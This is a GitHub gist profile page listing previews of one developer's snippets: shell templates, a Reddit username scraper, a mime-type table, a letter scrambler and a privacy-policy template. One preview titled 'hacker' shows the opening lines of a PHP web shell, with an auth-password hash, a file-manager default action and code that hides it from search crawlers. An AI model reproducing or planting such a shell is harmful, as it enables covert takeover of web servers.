Skip to content

Instantly share code, notes, and snippets.

Avatar

Lance Kidwell muddylemon

View GitHub Profile
View bash-template.sh
#!/usr/bin/env bash
set -Eeuo pipefail
cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1
trap cleanup SIGINT SIGTERM ERR EXIT
usage() {
cat <<EOF
View git_examples.sh
#!/bin/bash
##########
# contents
##########
# contents
# notes
# script setup
# git config files
View reddit.robin.js
var names = [];
Array.prototype.forEach.call(document.querySelectorAll('span.robin--username'), function(el) {
var n = el.innerText;
if (n && n !== "[robin]") {
names[n] = n;
}
});
console.log(Object.keys(names).join(',').match(/.{1,120}/g));
@muddylemon
muddylemon / 0_reuse_code.js
Last active August 29, 2015 14:22
Here are some things you can do with Gists in GistBox.
View 0_reuse_code.js
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
View gist:9ef7c6d67c24d13be82e
### Keybase proof
I hereby claim:
* I am muddylemon on github.
* I am muddylemon (https://keybase.io/muddylemon) on keybase.
* I have a public key whose fingerprint is 927F DB61 EF81 C115 57FA FDFC 7724 0041 AC16 FAFB
To claim this, I am signing this object:
View hacker
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@muddylemon
muddylemon / .bash_history
Created March 10, 2013 07:08
This is my bash history file on every machine I have
View .bash_history
pwd
git clone https://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh
cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc
chsh -s /bin/zsh
exit
@muddylemon
muddylemon / gist:3879996
Created October 12, 2012 16:09
I got 99 mime types but .btch ain't one
View gist:3879996
<?php
$mimes = array(
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'csv' => array('text/x-comma-separated-values', 'text/comma-separated-values', 'application/octet-stream'),
'bin' => 'application/macbinary',
'dms' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
@muddylemon
muddylemon / gist:3146475
Created July 19, 2012 20:16
Letter Scrambler
View gist:3146475
<?php
function scramble($words) {
$letter_array = str_split($words);
shuffle($letter_array);
return implode($letter_array);
}
// usage
echo scramble("Words and stuff");
@muddylemon
muddylemon / standard-privacy-policy.html
Created May 13, 2012 02:44
Standard Privacy Policy
View standard-privacy-policy.html
<div class="privacy-policy">
<h1>Privacy Policy</h1>
<section id="privacy-information-we-collect">
<h3>What information do we collect?</h3>
<p>We collect information from you when you register on our site, place an order, subscribe to our newsletter, respond to a survey or fill out a form.</p>
<p>When ordering or registering on our site, as appropriate, you may be asked to enter your: name, e-mail address, mailing address, phone number, credit card information or social security number. You may, however, visit our site anonymously.
Google, as a third party vendor, uses cookies to serve ads on your site. Google's use of the DART cookie enables it to serve ads to your users based on their visit to your sites and other sites on the Internet. Users may opt out of the use of the DART cookie by visiting the Google ad and content network privacy policy.</p>
</section>